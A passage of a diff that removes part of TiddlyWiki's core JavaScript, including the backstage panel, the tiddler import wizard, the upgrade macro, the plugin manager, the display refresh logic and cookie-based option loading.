- backstage.toolbar.style.left = "0px";
- if(anim && config.options.chkAnimate) {
- var p = [{style: "left", start: 0, end: findWindowWidth(), template: "%0px"}];
- var c = function(element,properties) {backstage.area.style.display = "none";};
- anim.startAnimating(new Morpher(backstage.toolbar,config.animDuration,p,c));
- } else {
- this.area.style.display = "none";
- }
- this.showButton.style.display = "block";
- this.hideButton.style.display = "none";
- config.options.chkBackstage = false;
- saveOption("chkBackstage");
- jQuery(this.content).removeClass("backstageVisible");
- }
- },
-
- onClickCommand: function(e) {
- var task = config.tasks[this.getAttribute("task")];
- if(task.action) {
- backstage.switchTab(null);
- task.action();
- }
- return false;
- },
-
- onClickTab: function(e) {
- backstage.switchTab(this.getAttribute("task"));
- return false;
- },
-
- // Switch to a given tab, or none if null is passed
- switchTab: function(tabName) {
- var tabElem = null;
- var e = this.toolbar.firstChild;
- while(e) {
- if(e.getAttribute && e.getAttribute("task") == tabName)
- tabElem = e;
- e = e.nextSibling;
- }
- if(tabName == backstage.currTabName) {
- backstage.hidePanel();
- return;
- }
- if(backstage.currTabElem) {
- jQuery(this.currTabElem).removeClass("backstageSelTab");
- }
- if(tabElem && tabName) {
- backstage.preparePanel();
- jQuery(tabElem).addClass("backstageSelTab");
- var task = config.tasks[tabName];
- wikify(task.content,backstage.panelBody,null,null);
- backstage.showPanel();
- } else if(backstage.currTabElem) {
- backstage.hidePanel();
- }
- backstage.currTabName = tabName;
- backstage.currTabElem = tabElem;
- },
-
- isPanelVisible: function() {
- return backstage.panel ? backstage.panel.style.display == "block" : false;
- },
-
- preparePanel: function() {
- backstage.cloak.style.height = findDocHeight() + "px";
- backstage.cloak.style.display = "block";
- jQuery(backstage.panelBody).empty();
- return backstage.panelBody;
- },
-
- showPanel: function() {
- backstage.panel.style.display = "block";
- if(anim && config.options.chkAnimate) {
- backstage.panel.style.top = (-backstage.panel.offsetHeight) + "px";
- var p = [{style: "top", start: -backstage.panel.offsetHeight, end: 0, template: "%0px"}];
- anim.startAnimating(new Morpher(backstage.panel,config.animDuration,p),new Scroller(backstage.panel,false));
- } else {
- backstage.panel.style.top = "0px";
- }
- return backstage.panelBody;
- },
-
- hidePanel: function() {
- if(backstage.currTabElem)
- jQuery(backstage.currTabElem).removeClass("backstageSelTab");
- backstage.currTabElem = null;
- backstage.currTabName = null;
- if(anim && config.options.chkAnimate) {
- var p = [
- {style: "top", start: 0, end: -(backstage.panel.offsetHeight), template: "%0px"},
- {style: "display", atEnd: "none"}
- ];
- var c = function(element,properties) {backstage.cloak.style.display = "none";};
- anim.startAnimating(new Morpher(backstage.panel,config.animDuration,p,c));
- } else {
- jQuery([backstage.panel,backstage.cloak]).hide();
- }
- }
-};
-
-config.macros.backstage = {};
-
-config.macros.backstage.handler = function(place,macroName,params)
-{
- var backstageTask = config.tasks[params[0]];
- if(backstageTask)
- createTiddlyButton(place,backstageTask.text,backstageTask.tooltip,function(e) {backstage.switchTab(params[0]); return false;});
-};
-
-//--
-//-- ImportTiddlers macro
-//--
-
-config.macros.importTiddlers.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- if(readOnly) {
- createTiddlyElement(place,"div",null,"marked",this.readOnlyWarning);
- return;
- }
- var w = new Wizard();
- w.createWizard(place,this.wizardTitle);
- this.restart(w);
-};
-
-config.macros.importTiddlers.onCancel = function(e)
-{
- var wizard = new Wizard(this);
- wizard.clear();
- config.macros.importTiddlers.restart(wizard);
- return false;
-};
-
-config.macros.importTiddlers.onClose = function(e)
-{
- backstage.hidePanel();
- return false;
-};
-
-config.macros.importTiddlers.restart = function(wizard)
-{
- var me = config.macros.importTiddlers;
- wizard.addStep(this.step1Title,this.step1Html);
- var t,s = wizard.getElement("selTypes");
- for(t in config.adaptors) {
- var e = createTiddlyElement(s,"option",null,null,config.adaptors[t].serverLabel || t);
- e.value = t;
- }
- if(config.defaultAdaptor)
- s.value = config.defaultAdaptor;
- s = wizard.getElement("selFeeds");
- var feeds = this.getFeeds();
- for(t in feeds) {
- e = createTiddlyElement(s,"option",null,null,t);
- e.value = t;
- }
- wizard.setValue("feeds",feeds);
- s.onchange = me.onFeedChange;
- var fileInput = wizard.getElement("txtBrowse");
- fileInput.onchange = me.onBrowseChange;
- fileInput.onkeyup = me.onBrowseChange;
- wizard.setButtons([{caption: this.openLabel, tooltip: this.openPrompt, onClick: me.onOpen}]);
- wizard.formElem.action = "javascript:;";
- wizard.formElem.onsubmit = function() {
- if(!this.txtPath || this.txtPath.value.length) //# check for manually entered path in first step
- this.lastChild.firstChild.onclick();
- };
-};
-
-config.macros.importTiddlers.getFeeds = function()
-{
- var feeds = {};
- var t,tagged = store.getTaggedTiddlers("systemServer","title");
- for(t=0; t<tagged.length; t++) {
- var title = tagged[t].title;
- var serverType = store.getTiddlerSlice(title,"Type");
- if(!serverType)
- serverType = "file";
- feeds[title] = {title: title,
- url: store.getTiddlerSlice(title,"URL"),
- workspace: store.getTiddlerSlice(title,"Workspace"),
- workspaceList: store.getTiddlerSlice(title,"WorkspaceList"),
- tiddlerFilter: store.getTiddlerSlice(title,"TiddlerFilter"),
- serverType: serverType,
- description: store.getTiddlerSlice(title,"Description")};
- }
- return feeds;
-};
-
-config.macros.importTiddlers.onFeedChange = function(e)
-{
- var wizard = new Wizard(this);
- var selTypes = wizard.getElement("selTypes");
- var fileInput = wizard.getElement("txtPath");
- var feeds = wizard.getValue("feeds");
- var f = feeds[this.value];
- if(f) {
- selTypes.value = f.serverType;
- fileInput.value = f.url;
- wizard.setValue("feedName",f.serverType);
- wizard.setValue("feedHost",f.url);
- wizard.setValue("feedWorkspace",f.workspace);
- wizard.setValue("feedWorkspaceList",f.workspaceList);
- wizard.setValue("feedTiddlerFilter",f.tiddlerFilter);
- }
- return false;
-};
-
-config.macros.importTiddlers.onBrowseChange = function(e)
-{
- var wizard = new Wizard(this);
- var file = this.value;
- file = file.replace(/^C:\\fakepath\\/i,''); // remove fakepath (chrome/opera/safari)
- if(this.files && this.files[0]) {
- try {
- netscape.security.PrivilegeManager.enablePrivilege("UniversalFileRead");
- file = this.files[0].fileName; // REQUIRES PRIVILEGES.. NULL otherwise
- } catch (ex) {
- // non-priv fallback: combine filename with path to current document
- var path=getLocalPath(document.location.href);
- var slashpos=path.lastIndexOf('/'); if (slashpos==-1) slashpos=path.lastIndexOf('\\');
- if (slashpos!=-1) path=path.substr(0,slashpos+1); // remove filename, leave trailing slash
- file=path+file;
- }
- }
- var fileInput = wizard.getElement("txtPath");
- fileInput.value = config.macros.importTiddlers.getURLFromLocalPath(file);
- var serverType = wizard.getElement("selTypes");
- serverType.value = "file";
- return true;
-};
-
-config.macros.importTiddlers.getURLFromLocalPath = function(v)
-{
- if(!v || !v.length)
- return v;
- v = v.replace(/\\/g,"/"); // use "/" for cross-platform consistency
- var u;
- var t = v.split(":");
- var p = t[1] || t[0]; // remove drive letter (if any)
- if(t[1] && (t[0] == "http" || t[0] == "https" || t[0] == "file")) {
- u = v;
- } else if(p.substr(0,1)=="/") {
- u = document.location.protocol + "//" + document.location.hostname + (t[1] ? "/" : "") + v;
- } else {
- var c = document.location.href.replace(/\\/g,"/");
- var pos = c.lastIndexOf("/");
- if(pos!=-1)
- c = c.substr(0,pos); // remove filename
- u = c + "/" + p;
- }
- return u;
-};
-
-config.macros.importTiddlers.onOpen = function(e)
-{
- var me = config.macros.importTiddlers;
- var wizard = new Wizard(this);
- var fileInput = wizard.getElement("txtPath");
- var url = fileInput.value;
- var serverType = wizard.getElement("selTypes").value || config.defaultAdaptor;
- var adaptor = new config.adaptors[serverType]();
- wizard.setValue("adaptor",adaptor);
- wizard.setValue("serverType",serverType);
- wizard.setValue("host",url);
- adaptor.openHost(url,null,wizard,me.onOpenHost);
- wizard.setButtons([{caption: me.cancelLabel, tooltip: me.cancelPrompt, onClick: me.onCancel}],me.statusOpenHost);
- return false;
-};
-
-config.macros.importTiddlers.onOpenHost = function(context,wizard)
-{
- var me = config.macros.importTiddlers;
- var adaptor = wizard.getValue("adaptor");
- if(context.status !== true)
- displayMessage("Error in importTiddlers.onOpenHost: " + context.statusText);
- adaptor.getWorkspaceList(context,wizard,me.onGetWorkspaceList);
- wizard.setButtons([{caption: me.cancelLabel, tooltip: me.cancelPrompt, onClick: me.onCancel}],me.statusGetWorkspaceList);
-};
-
-config.macros.importTiddlers.onGetWorkspaceList = function(context,wizard)
-{
- var me = config.macros.importTiddlers;
- if(context.status !== true)
- displayMessage("Error in importTiddlers.onGetWorkspaceList: " + context.statusText);
- wizard.setValue("context",context);
- var workspace = wizard.getValue("feedWorkspace");
- if(!workspace && context.workspaces.length==1)
- workspace = context.workspaces[0].title;
- if(workspace) {
- context.adaptor.openWorkspace(workspace,context,wizard,me.onOpenWorkspace);
- wizard.setValue("workspace",workspace);
- wizard.setButtons([{caption: me.cancelLabel, tooltip: me.cancelPrompt, onClick: me.onCancel}],me.statusOpenWorkspace);
- return;
- }
- wizard.addStep(me.step2Title,me.step2Html);
- var t,s = wizard.getElement("selWorkspace");
- s.onchange = me.onWorkspaceChange;
- for(t=0; t<context.workspaces.length; t++) {
- var e = createTiddlyElement(s,"option",null,null,context.workspaces[t].title);
- e.value = context.workspaces[t].title;
- }
- var workspaceList = wizard.getValue("feedWorkspaceList");
- if(workspaceList) {
- var n,list = workspaceList.parseParams("workspace",null,false,true);
- for(n=1; n<list.length; n++) {
- if(context.workspaces.findByField("title",list[n].value) == null) {
- e = createTiddlyElement(s,"option",null,null,list[n].value);
- e.value = list[n].value;
- }
- }
- }
- if(workspace) {
- t = wizard.getElement("txtWorkspace");
- t.value = workspace;
- }
- wizard.setButtons([{caption: me.openLabel, tooltip: me.openPrompt, onClick: me.onChooseWorkspace}]);
-};
-
-config.macros.importTiddlers.onWorkspaceChange = function(e)
-{
- var wizard = new Wizard(this);
- var t = wizard.getElement("txtWorkspace");
- t.value = this.value;
- this.selectedIndex = 0;
- return false;
-};
-
-config.macros.importTiddlers.onChooseWorkspace = function(e)
-{
- var me = config.macros.importTiddlers;
- var wizard = new Wizard(this);
- var adaptor = wizard.getValue("adaptor");
- var workspace = wizard.getElement("txtWorkspace").value;
- wizard.setValue("workspace",workspace);
- var context = wizard.getValue("context");
- adaptor.openWorkspace(workspace,context,wizard,me.onOpenWorkspace);
- wizard.setButtons([{caption: me.cancelLabel, tooltip: me.cancelPrompt, onClick: me.onCancel}],me.statusOpenWorkspace);
- return false;
-};
-
-config.macros.importTiddlers.onOpenWorkspace = function(context,wizard)
-{
- var me = config.macros.importTiddlers;
- if(context.status !== true)
- displayMessage("Error in importTiddlers.onOpenWorkspace: " + context.statusText);
- var adaptor = wizard.getValue("adaptor");
- var browse=wizard.getElement("txtBrowse");
- if (browse.files) context.file=browse.files[0]; // for HTML5 FileReader
- adaptor.getTiddlerList(context,wizard,me.onGetTiddlerList,wizard.getValue("feedTiddlerFilter"));
- wizard.setButtons([{caption: me.cancelLabel, tooltip: me.cancelPrompt, onClick: me.onCancel}],me.statusGetTiddlerList);
-};
-
-config.macros.importTiddlers.onGetTiddlerList = function(context,wizard)
-{
- var me = config.macros.importTiddlers;
- if(context.status !== true) {
- var error = context.statusText||me.errorGettingTiddlerList;
- if(context.host.indexOf("file://") === 0) {
- error = me.errorGettingTiddlerListFile;
- } else {
- error = context.xhr && context.xhr.status == 404 ? me.errorGettingTiddlerListHttp404 :
- me.errorGettingTiddlerListHttp;
- }
- wizard.setButtons([{caption: me.cancelLabel, tooltip: me.cancelPrompt, onClick: me.onCancel}],"");
- jQuery("span.status", wizard.footerEl).html(error); // so error message can be html
- return;
- }
- // Extract data for the listview
- var listedTiddlers = [];
- if(context.tiddlers) {
- var n;
- for(n=0; n<context.tiddlers.length; n++) {
- var tiddler = context.tiddlers[n];
- listedTiddlers.push({
- title: tiddler.title,
- modified: tiddler.modified,
- modifier: tiddler.modifier,
- text: tiddler.text ? wikifyPlainText(tiddler.text,100) : "",
- tags: tiddler.tags,
- size: tiddler.text ? tiddler.text.length : 0,
- tiddler: tiddler
- });
- }
- }
- listedTiddlers.sort(function(a,b) {return a.title < b.title ? -1 : (a.title == b.title ? 0 : +1);});
- // Display the listview
- wizard.addStep(me.step3Title,me.step3Html);
- var markList = wizard.getElement("markList");
- var listWrapper = document.createElement("div");
- markList.parentNode.insertBefore(listWrapper,markList);
- var listView = ListView.create(listWrapper,listedTiddlers,me.listViewTemplate);
- wizard.setValue("listView",listView);
- wizard.setValue("context",context);
- var txtSaveTiddler = wizard.getElement("txtSaveTiddler");
- txtSaveTiddler.value = me.generateSystemServerName(wizard);
- wizard.setButtons([
- {caption: me.cancelLabel, tooltip: me.cancelPrompt, onClick: me.onCancel},
- {caption: me.importLabel, tooltip: me.importPrompt, onClick: me.doImport}
- ]);
-};
-
-config.macros.importTiddlers.generateSystemServerName = function(wizard)
-{
- var serverType = wizard.getValue("serverType");
- var host = wizard.getValue("host");
- var workspace = wizard.getValue("workspace");
- var pattern = config.macros.importTiddlers[workspace ? "systemServerNamePattern" : "systemServerNamePatternNoWorkspace"];
- return pattern.format([serverType,host,workspace]);
-};
-
-config.macros.importTiddlers.saveServerTiddler = function(wizard)
-{
- var me = config.macros.importTiddlers;
- var txtSaveTiddler = wizard.getElement("txtSaveTiddler").value;
- if(store.tiddlerExists(txtSaveTiddler)) {
- if(!confirm(me.confirmOverwriteSaveTiddler.format([txtSaveTiddler])))
- return;
- store.suspendNotifications();
- store.removeTiddler(txtSaveTiddler);
- store.resumeNotifications();
- }
- var serverType = wizard.getValue("serverType");
- var host = wizard.getValue("host");
- var workspace = wizard.getValue("workspace");
- var text = me.serverSaveTemplate.format([serverType,host,workspace]);
- store.saveTiddler(txtSaveTiddler,txtSaveTiddler,text,me.serverSaveModifier,new Date(),["systemServer"]);
-};
-
-config.macros.importTiddlers.doImport = function(e)
-{
- var me = config.macros.importTiddlers;
- var wizard = new Wizard(this);
- if(wizard.getElement("chkSave").checked)
- me.saveServerTiddler(wizard);
- var chkSync = wizard.getElement("chkSync").checked;
- wizard.setValue("sync",chkSync);
- var listView = wizard.getValue("listView");
- var rowNames = ListView.getSelectedRows(listView);
- var adaptor = wizard.getValue("adaptor");
- var overwrite = [];
- var t;
- for(t=0; t<rowNames.length; t++) {
- if(store.tiddlerExists(rowNames[t]))
- overwrite.push(rowNames[t]);
- }
- if(overwrite.length > 0) {
- if(!confirm(me.confirmOverwriteText.format([overwrite.join(", ")])))
- return false;
- }
- wizard.addStep(me.step4Title.format([rowNames.length]),me.step4Html);
- for(t=0; t<rowNames.length; t++) {
- var link = document.createElement("div");
- createTiddlyLink(link,rowNames[t],true);
- var place = wizard.getElement("markReport");
- place.parentNode.insertBefore(link,place);
- }
- wizard.setValue("remainingImports",rowNames.length);
- wizard.setButtons([
- {caption: me.cancelLabel, tooltip: me.cancelPrompt, onClick: me.onCancel}
- ],me.statusDoingImport);
- var wizardContext = wizard.getValue("context");
- var tiddlers = wizardContext ? wizardContext.tiddlers : [];
- for(t=0; t<rowNames.length; t++) {
- var context = {
- allowSynchronous:true,
- tiddler:tiddlers[tiddlers.findByField("title",rowNames[t])]
- };
- adaptor.getTiddler(rowNames[t],context,wizard,me.onGetTiddler);
- }
- return false;
-};
-
-config.macros.importTiddlers.onGetTiddler = function(context,wizard)
-{
- var me = config.macros.importTiddlers;
- if(!context.status)
- displayMessage("Error in importTiddlers.onGetTiddler: " + context.statusText);
- var tiddler = context.tiddler;
- store.suspendNotifications();
- store.saveTiddler(tiddler.title, tiddler.title, tiddler.text, tiddler.modifier, tiddler.modified, tiddler.tags, tiddler.fields, true, tiddler.created);
- if(!wizard.getValue("sync")) {
- store.setValue(tiddler.title,'server',null);
- }
- store.resumeNotifications();
- if(!context.isSynchronous)
- store.notify(tiddler.title,true);
- var remainingImports = wizard.getValue("remainingImports")-1;
- wizard.setValue("remainingImports",remainingImports);
- if(remainingImports == 0) {
- if(context.isSynchronous) {
- store.notifyAll();
- refreshDisplay();
- }
- wizard.setButtons([
- {caption: me.doneLabel, tooltip: me.donePrompt, onClick: me.onClose}
- ],me.statusDoneImport);
- autoSaveChanges();
- }
-};
-
-//--
-//-- Upgrade macro
-//--
-
-config.macros.upgrade.handler = function(place)
-{
- var w = new Wizard();
- w.createWizard(place,this.wizardTitle);
- w.addStep(this.step1Title,this.step1Html.format([this.source,this.source]));
- w.setButtons([{caption: this.upgradeLabel, tooltip: this.upgradePrompt, onClick: this.onClickUpgrade}]);
-};
-
-config.macros.upgrade.onClickUpgrade = function(e)
-{
- var me = config.macros.upgrade;
- var w = new Wizard(this);
- if(!window.allowSave()) {
- alert(me.errorCantUpgrade);
- return false;
- }
- if(story.areAnyDirty() || store.isDirty()) {
- alert(me.errorNotSaved);
- return false;
- }
- var localPath = getLocalPath(document.location.toString());
- var backupPath = getBackupPath(localPath,me.backupExtension);
- w.setValue("backupPath",backupPath);
- w.setButtons([],me.statusPreparingBackup);
- var original = loadOriginal(localPath);
- w.setButtons([],me.statusSavingBackup);
- var backup = copyFile(backupPath,localPath);
- if(!backup)
- backup = saveFile(backupPath,original);
- if(!backup) {
- w.setButtons([],me.errorSavingBackup);
- alert(me.errorSavingBackup);
- return false;
- }
- w.setButtons([],me.statusLoadingCore);
- var options = {
- type:"GET",
- url:me.source,
- processData:false,
- success:function(data,textStatus,jqXHR) {
- me.onLoadCore(true,w,jqXHR.responseText,me.source,jqXHR);
- },
- error:function(jqXHR,textStatus,errorThrown) {
- me.onLoadCore(false,w,null,me.source,jqXHR);
- }
- };
- ajaxReq(options);
- return false;
-};
-
-config.macros.upgrade.onLoadCore = function(status,params,responseText,url,xhr)
-{
- var me = config.macros.upgrade;
- var w = params;
- var errMsg;
- if(!status)
- errMsg = me.errorLoadingCore;
- var newVer = me.extractVersion(responseText);
- if(!newVer)
- errMsg = me.errorCoreFormat;
- if(errMsg) {
- w.setButtons([],errMsg);
- alert(errMsg);
- return;
- }
- var onStartUpgrade = function(e) {
- w.setButtons([],me.statusSavingCore);
- var localPath = getLocalPath(document.location.toString());
- saveFile(localPath,responseText);
- w.setButtons([],me.statusReloadingCore);
- var backupPath = w.getValue("backupPath");
- var newLoc = document.location.toString() + "?time=" + new Date().convertToYYYYMMDDHHMM() + "#upgrade:[[" + encodeURI(backupPath) + "]]";
- window.setTimeout(function () {window.location = newLoc;},10);
- };
- var step2 = [me.step2Html_downgrade,me.step2Html_restore,me.step2Html_upgrade][compareVersions(version,newVer) + 1];
- w.addStep(me.step2Title,step2.format([formatVersion(newVer),formatVersion(version)]));
- w.setButtons([{caption: me.startLabel, tooltip: me.startPrompt, onClick: onStartUpgrade},{caption: me.cancelLabel, tooltip: me.cancelPrompt, onClick: me.onCancel}]);
-};
-
-config.macros.upgrade.onCancel = function(e)
-{
- var me = config.macros.upgrade;
- var w = new Wizard(this);
- w.addStep(me.step3Title,me.step3Html);
- w.setButtons([]);
- return false;
-};
-
-config.macros.upgrade.extractVersion = function(upgradeFile)
-{
- var re = /^var version = \{title: "([^"]+)", major: (\d+), minor: (\d+), revision: (\d+)(, beta: (\d+)){0,1}, date: new Date\("([^"]+)"\)/mg;
- var m = re.exec(upgradeFile);
- return m ? {title: m[1], major: m[2], minor: m[3], revision: m[4], beta: m[6], date: new Date(m[7])} : null;
-};
-
-function upgradeFrom(path)
-{
- var importStore = new TiddlyWiki();
- var tw = loadFile(path);
- if(window.netscape !== undefined)
- tw = convertUTF8ToUnicode(tw);
- importStore.importTiddlyWiki(tw);
- importStore.forEachTiddler(function(title,tiddler) {
- if(!store.getTiddler(title)) {
- store.addTiddler(tiddler);
- }
- });
- refreshDisplay();
- saveChanges(); //# To create appropriate Markup* sections
- alert(config.messages.upgradeDone.format([formatVersion()]));
- window.location = window.location.toString().substr(0,window.location.toString().lastIndexOf("?"));
-}
-
-//--
-//-- Manager UI for groups of tiddlers
-//--
-
-config.macros.plugins.handler = function(place,macroName,params,wikifier,paramString)
-{
- var wizard = new Wizard();
- wizard.createWizard(place,this.wizardTitle);
- wizard.addStep(this.step1Title,this.step1Html);
- var markList = wizard.getElement("markList");
- var listWrapper = document.createElement("div");
- markList.parentNode.insertBefore(listWrapper,markList);
- listWrapper.setAttribute("refresh","macro");
- listWrapper.setAttribute("macroName","plugins");
- listWrapper.setAttribute("params",paramString);
- this.refresh(listWrapper,paramString);
-};
-
-config.macros.plugins.refresh = function(listWrapper,params)
-{
- var me = config.macros.plugins;
- var wizard = new Wizard(listWrapper);
- var selectedRows = [];
- ListView.forEachSelector(listWrapper,function(e,rowName) {
- if(e.checked)
- selectedRows.push(e.getAttribute("rowName"));
- });
- jQuery(listWrapper).empty();
- params = params.parseParams("anon");
- var plugins = installedPlugins.slice(0);
- var t,tiddler,p;
- var configTiddlers = store.getTaggedTiddlers("systemConfig");
- for(t=0; t<configTiddlers.length; t++) {
- tiddler = configTiddlers[t];
- if(plugins.findByField("title",tiddler.title) == null) {
- p = getPluginInfo(tiddler);
- p.executed = false;
- p.log.splice(0,0,this.skippedText);
- plugins.push(p);
- }
- }
- for(t=0; t<plugins.length; t++) {
- p = plugins[t];
- p.size = p.tiddler.text ? p.tiddler.text.length : 0;
- p.forced = p.tiddler.isTagged("systemConfigForce");
- p.disabled = p.tiddler.isTagged("systemConfigDisable");
- p.Selected = selectedRows.indexOf(plugins[t].title) != -1;
- }
- if(plugins.length == 0) {
- createTiddlyElement(listWrapper,"em",null,null,this.noPluginText);
- wizard.setButtons([]);
- } else {
- var template = readOnly ? this.listViewTemplateReadOnly : this.listViewTemplate;
- var listView = ListView.create(listWrapper,plugins,template,this.onSelectCommand);
- wizard.setValue("listView",listView);
- if(!readOnly) {
- wizard.setButtons([
- {caption: me.removeLabel, tooltip: me.removePrompt, onClick: me.doRemoveTag},
- {caption: me.deleteLabel, tooltip: me.deletePrompt, onClick: me.doDelete}
- ]);
- }
- }
-};
-
-config.macros.plugins.doRemoveTag = function(e)
-{
- var wizard = new Wizard(this);
- var listView = wizard.getValue("listView");
- var rowNames = ListView.getSelectedRows(listView);
- if(rowNames.length == 0) {
- alert(config.messages.nothingSelected);
- } else {
- var t;
- for(t=0; t<rowNames.length; t++) {
- store.setTiddlerTag(rowNames[t],false,"systemConfig");
- }
- autoSaveChanges();
- }
-};
-
-config.macros.plugins.doDelete = function(e)
-{
- var wizard = new Wizard(this);
- var listView = wizard.getValue("listView");
- var rowNames = ListView.getSelectedRows(listView);
- if(rowNames.length == 0) {
- alert(config.messages.nothingSelected);
- } else {
- if(confirm(config.macros.plugins.confirmDeleteText.format([rowNames.join(", ")]))) {
- var t;
- for(t=0; t<rowNames.length; t++) {
- store.removeTiddler(rowNames[t]);
- story.closeTiddler(rowNames[t],true);
- }
- }
- autoSaveChanges();
- }
-};
-
-//--
-//-- Message area
-//--
-
-function getMessageDiv()
-{
- var msgArea = document.getElementById("messageArea");
- if(!msgArea)
- return null;
- if(!msgArea.hasChildNodes())
- createTiddlyButton(createTiddlyElement(msgArea,"div",null,"messageToolbar"),
- config.messages.messageClose.text,
- config.messages.messageClose.tooltip,
- clearMessage);
- msgArea.style.display = "block";
- return createTiddlyElement(msgArea,"div");
-}
-
-function displayMessage(text,linkText)
-{
- var e = getMessageDiv();
- if(!e) {
- alert(text);
- return;
- }
- if(linkText) {
- var link = createTiddlyElement(e,"a",null,null,text);
- link.href = linkText;
- link.target = "_blank";
- } else {
- e.appendChild(document.createTextNode(text));
- }
-}
-
-function clearMessage()
-{
- var msgArea = document.getElementById("messageArea");
- if(msgArea) {
- jQuery(msgArea).empty();
- msgArea.style.display = "none";
- }
- return false;
-}
-
-//--
-//-- Refresh mechanism
-//--
-
-config.notifyTiddlers = [
- {name: "SystemSettings", notify: onSystemSettingsChange},
- {name: "StyleSheetLayout", notify: refreshStyles},
- {name: "StyleSheetColors", notify: refreshStyles},
- {name: "StyleSheet", notify: refreshStyles},
- {name: "StyleSheetPrint", notify: refreshStyles},
- {name: "PageTemplate", notify: refreshPageTemplate},
- {name: "SiteTitle", notify: refreshPageTitle},
- {name: "SiteSubtitle", notify: refreshPageTitle},
- {name: "WindowTitle", notify: refreshPageTitle},
- {name: "ColorPalette", notify: refreshColorPalette},
- {name: null, notify: refreshDisplay}
-];
-
-config.refreshers = {
- link: function(e,changeList)
- {
- var title = e.getAttribute("tiddlyLink");
- refreshTiddlyLink(e,title);
- return true;
- },
-
- tiddler: function(e,changeList)
- {
- var title = e.getAttribute("tiddler");
- var template = e.getAttribute("template");
- if(changeList && (changeList.indexOf && changeList.indexOf(title) != -1) && !story.isDirty(title))
- story.refreshTiddler(title,template,true);
- else
- refreshElements(e,changeList);
- return true;
- },
-
- content: function(e,changeList)
- {
- var title = e.getAttribute("tiddler");
- var force = e.getAttribute("force");
- var args = e.getAttribute("args");
- if(force != null || changeList == null || (changeList.indexOf && changeList.indexOf(title) != -1)) {
- jQuery(e).empty();
- config.macros.tiddler.transclude(e,title,args);
- return true;
- } else
- return false;
- },
-
- macro: function(e,changeList)
- {
- var macro = e.getAttribute("macroName");
- var params = e.getAttribute("params");
- if(macro)
- macro = config.macros[macro];
- if(macro && macro.refresh)
- macro.refresh(e,params);
- return true;
- }
-};
-
-config.refresherData = {
- styleSheet: "StyleSheet",
- defaultStyleSheet: "StyleSheet",
- pageTemplate: "PageTemplate",
- defaultPageTemplate: "PageTemplate",
- colorPalette: "ColorPalette",
- defaultColorPalette: "ColorPalette"
-};
-
-function refreshElements(root,changeList)
-{
- var c,nodes = root.childNodes;
- for(c=0; c<nodes.length; c++) {
- var e = nodes[c], type = null;
- if(e.getAttribute && (e.tagName ? e.tagName != "IFRAME" : true))
- type = e.getAttribute("refresh");
- var refresher = config.refreshers[type];
- var refreshed = false;
- if(refresher != undefined)
- refreshed = refresher(e,changeList);
- if(e.hasChildNodes() && !refreshed)
- refreshElements(e,changeList);
- }
-}
-
-function applyHtmlMacros(root,tiddler)
-{
- var e = root.firstChild;
- while(e) {
- var nextChild = e.nextSibling;
- if(e.getAttribute) {
- var macro = e.getAttribute("macro");
- if(macro) {
- e.removeAttribute("macro");
- var params = "";
- var p = macro.indexOf(" ");
- if(p != -1) {
- params = macro.substr(p+1);
- macro = macro.substr(0,p);
- }
- invokeMacro(e,macro,params,null,tiddler);
- }
- }
- if(e.hasChildNodes())
- applyHtmlMacros(e,tiddler);
- e = nextChild;
- }
-}
-
-function refreshPageTemplate(title)
-{
- var stash = jQuery("<div/>").appendTo("body").hide()[0];
- var display = story.getContainer();
- var nodes,t;
- if(display) {
- nodes = display.childNodes;
- for(t=nodes.length-1; t>=0; t--)
- stash.appendChild(nodes[t]);
- }
- var wrapper = document.getElementById("contentWrapper");
-
- if(!title || !store.isAvailable(title))
- title = config.refresherData.pageTemplate;
- if(!store.isAvailable(title))
- title = config.refresherData.defaultPageTemplate; //# this one is always avaialable
- wrapper.innerHTML = store.getRecursiveTiddlerText(title,null,10);
- applyHtmlMacros(wrapper);
- refreshElements(wrapper);
- display = story.getContainer();
- jQuery(display).empty();
- if(!display)
- display = createTiddlyElement(wrapper,"div",story.containerId());
- nodes = stash.childNodes;
- for(t=nodes.length-1; t>=0; t--)
- display.appendChild(nodes[t]);
- jQuery(stash).remove();
-}
-
-function refreshDisplay(hint)
-{
- if(typeof hint == "string")
- hint = [hint];
- var e = document.getElementById("contentWrapper");
- refreshElements(e,hint);
- if(backstage.isPanelVisible()) {
- e = document.getElementById("backstage");
- refreshElements(e,hint);
- }
-}
-
-function refreshPageTitle()
-{
- document.title = getPageTitle();
-}
-
-function getPageTitle()
-{
- return wikifyPlainText(store.getTiddlerText("WindowTitle",""),null,tiddler);
-}
-
-function refreshStyles(title,doc)
-{
- setStylesheet(title == null ? "" : store.getRecursiveTiddlerText(title,"",10),title,doc || document);
-}
-
-function refreshColorPalette(title)
-{
- if(!startingUp)
- refreshAll();
-}
-
-function refreshAll()
-{
- refreshPageTemplate();
- refreshDisplay();
- refreshStyles("StyleSheetLayout");
- refreshStyles("StyleSheetColors");
- refreshStyles(config.refresherData.styleSheet);
- refreshStyles("StyleSheetPrint");
-}
-
-//--
-//-- Option handling
-//--
-
-config.optionHandlers = {
- 'txt': {
- get: function(name) {return encodeCookie(config.options[name].toString());},
- set: function(name,value) {config.options[name] = decodeCookie(value);}
- },
- 'chk': {
- get: function(name) {return config.options[name] ? 'true' : 'false';},
- set: function(name,value) {config.options[name] = value == 'true';}
- }
-};
-
-function setOption(name,value)
-{
- var optType = name.substr(0,3);
- if(config.optionHandlers[optType] && config.optionHandlers[optType].set)
- config.optionHandlers[optType].set(name,value);
-}
-
-// Gets the value of an option as a string. Most code should just read from config.options.* directly
-function getOption(name)
-{
- var optType = name.substr(0,3);
- return config.optionHandlers[optType] && config.optionHandlers[optType].get ? config.optionHandlers[optType].get(name) : null;
-}
-
-function loadOptions()
-{
- if(safeMode)
- return;
- loadCookies();
- loadSystemSettings();
-}
-// @Deprecated; retained for backwards compatibility
-var loadOptionsCookie = loadOptions;
-
-function getCookies()
-{
- var cookieList = document.cookie.split(';');
- var i,cookies = {};
- for(i=0; i<cookieList.length; i++) {
- var p = cookieList[i].indexOf('=');
- if(p != -1) {
- var name = cookieList[i].substr(0,p).trim();
- var value = cookieList[i].substr(p+1).trim();
- cookies[name] = value;
- }
- }
- return cookies;
-}
-
-function loadCookies()
-{
- var i,cookies = getCookies();
- if(cookies['TiddlyWiki']) {
- cookies = cookies['TiddlyWiki'].decodeHashMap();
- }
- for(i in cookies) {
- if(config.optionsSource[i] != 'setting') {
- setOption(i,cookies[i]);
- }
- }
-}
-
-function loadSystemSettings()
-{
- var key,settings = store.calcAllSlices('SystemSettings');
- config.optionsSource = {};
- for(key in settings) {
- setOption(key,settings[key]);
- config.optionsSource[key] = 'setting';
- }
-}
-
-function onSystemSettingsChange()
-{
